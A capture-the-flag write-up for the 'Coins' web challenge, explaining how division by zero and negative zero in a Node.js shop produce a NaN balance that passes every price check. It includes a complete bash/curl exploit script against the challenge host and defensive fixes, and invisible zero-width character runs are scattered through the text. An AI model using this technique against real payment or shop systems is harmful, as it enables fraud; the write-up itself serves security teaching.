← Back to Writeups
CUSTOMMediumWeb

Coins

XESXOR9/10/20263 min read
#web#custom#medium#division-by-zero-exploitation#javascript-comparison-quirks#nan-balance-manipulation#linux

Coins

Platform: alfactf | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2025-12-19 | Status: Solved Techniques: Division by zero exploitation, JavaScript comparison quirks, NaN balance manipulation

Summary

Task: Web shop with JavaScript/Node.js backend where user controls divisor in price calculation. Solution: Exploit division by zero (1/0 and 1/-0) to create Infinity values, then combine them to get NaN balance which bypasses all comparison checks.

Coins - alfactf.ru

Description

Какое везение: вы нашли на берегу пальму с сочными биткоинами. Пора запасаться: пока никто не видит, трясите пальму и собирайте солидный портфель на нисходящем тренде. Берите все до единого — только так получится купить флаг.

Analysis

Node.js web application with two shops:

  • Main: fruits (BananaCoin, CocoCoin, MangoCoin) priced at 50,000-120,000 satoshi
  • VIP: flag for 999,999,999 satoshi
  • Starting balance: 0

Key Code

The parseSlice() function parses a fraction to calculate the price: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

javascript
function parseSlice(sliceCode) {
  if (typeof sliceCode !== "string") return null;

  const parts = sliceCode.split("/");
  if (parts.length !== 2) return null;

  const left = parts[0].trim();
  const right = parts[1].trim();

  const numN = Number(left);
  const denN = Number(right);

  if (!Number.isFinite(numN) || !Number.isFinite(denN)) return null;
  if (!Number.isInteger(numN) || !Number.isInteger(denN)) return null;
  if (numN < 0) return null;  // Only numerator is checked!
  // NO check: den > 0 or den != 0
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  return { code: `${numN}/${denN}`, num: numN, den: denN };
}

Item price is calculated as:

javascript
const line = (item.priceSats * parsed.num) / parsed.den;

Balance check at checkout:

javascript
if (!(session.balanceSats < total)) {
  session.balanceSats -= total;
  // ...
}

Vulnerability

Problem 1: Division by Zero

Number.isFinite(0) returns true, so sliceCode = "1/0" passes validation.

When calculating price: 120000 * 1 / 0 = Infinity

Problem 2: Negative Zero in JavaScript

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

In JavaScript -0 is a distinct value:

  • Number.isFinite(-0) = true
  • Number.isInteger(-0) = true
  • 1 / -0 = -Infinity

Problem 3: NaN from Adding Infinity Values

javascript
Infinity + (-Infinity) = NaN

Problem 4: Comparison with NaN

In JavaScript any comparison with NaN returns false:

javascript
NaN < 0      // false
NaN > 0      // false
NaN >= 0     // false
NaN < 999999999  // false
!(NaN < 999999999)  // true!

Exploitation (NaN Balance Attack)

  1. sliceCode = "1/0" → price = Infinity
  2. sliceCode = "1/-0" → price = -Infinity
  3. At checkout-main: total = Infinity + (-Infinity) = NaN
  4. Check if (total < 0) passes because NaN < 0 = false
  5. Check if (!(balance < total)) passes because !(0 < NaN) = !(false) = true
  6. balance -= NaN → balance = NaN
  7. When buying the flag: !(NaN < 999999999) = true — purchase succeeds! ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

bash
#!/bin/bash
# Exploit for coins challenge - NaN balance attack

BASE_URL="https://coins-70whdd7p.alfactf.ru"
COOKIES="/tmp/coins_cookies.txt"

echo "[*] Getting session..."
curl -s "$BASE_URL/init" -c "$COOKIES" > /dev/null

echo "[*] Adding +Infinity item (1/0)..."
curl -s "$BASE_URL/basket/add" -b "$COOKIES" -c "$COOKIES" \
  -X POST -d "sku=MANGO&sliceCode=1/0" > /dev/null

echo "[*] Adding -Infinity item (1/-0)..."
curl -s "$BASE_URL/basket/add" -b "$COOKIES" -c "$COOKIES" \
  -X POST -d "sku=MANGO&sliceCode=1/-0" > /dev/null
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

echo "[*] Checkout main (total = NaN, balance becomes NaN)..."
curl -s "$BASE_URL/checkout-main" -b "$COOKIES" -c "$COOKIES" \
  -X POST > /dev/null

echo "[*] Adding FLAG to VIP basket..."
curl -s "$BASE_URL/vip/basket/add" -b "$COOKIES" -c "$COOKIES" \
  -X POST -d "sku=FLAG" > /dev/null

echo "[*] Checkout VIP (NaN >= 999999999 is true!)..."
RESULT=$(curl -s "$BASE_URL/checkout-vip" -b "$COOKIES" -c "$COOKIES" -X POST)

echo "[+] Result: $RESULT"
# {"ok":true,"newBalanceSats":"NaN","flag":"alfa{REDACTED}"}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Defense

Proper validation:

javascript
if (denN <= 0) return null;  // Disallow zero and negative values

Or use safe comparison:

javascript
if (Number.isNaN(total) || total < 0) return error;
if (Number.isNaN(balance) || balance < total) return error;

References

  • JavaScript NaN comparison
  • Signed zero in JavaScript ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍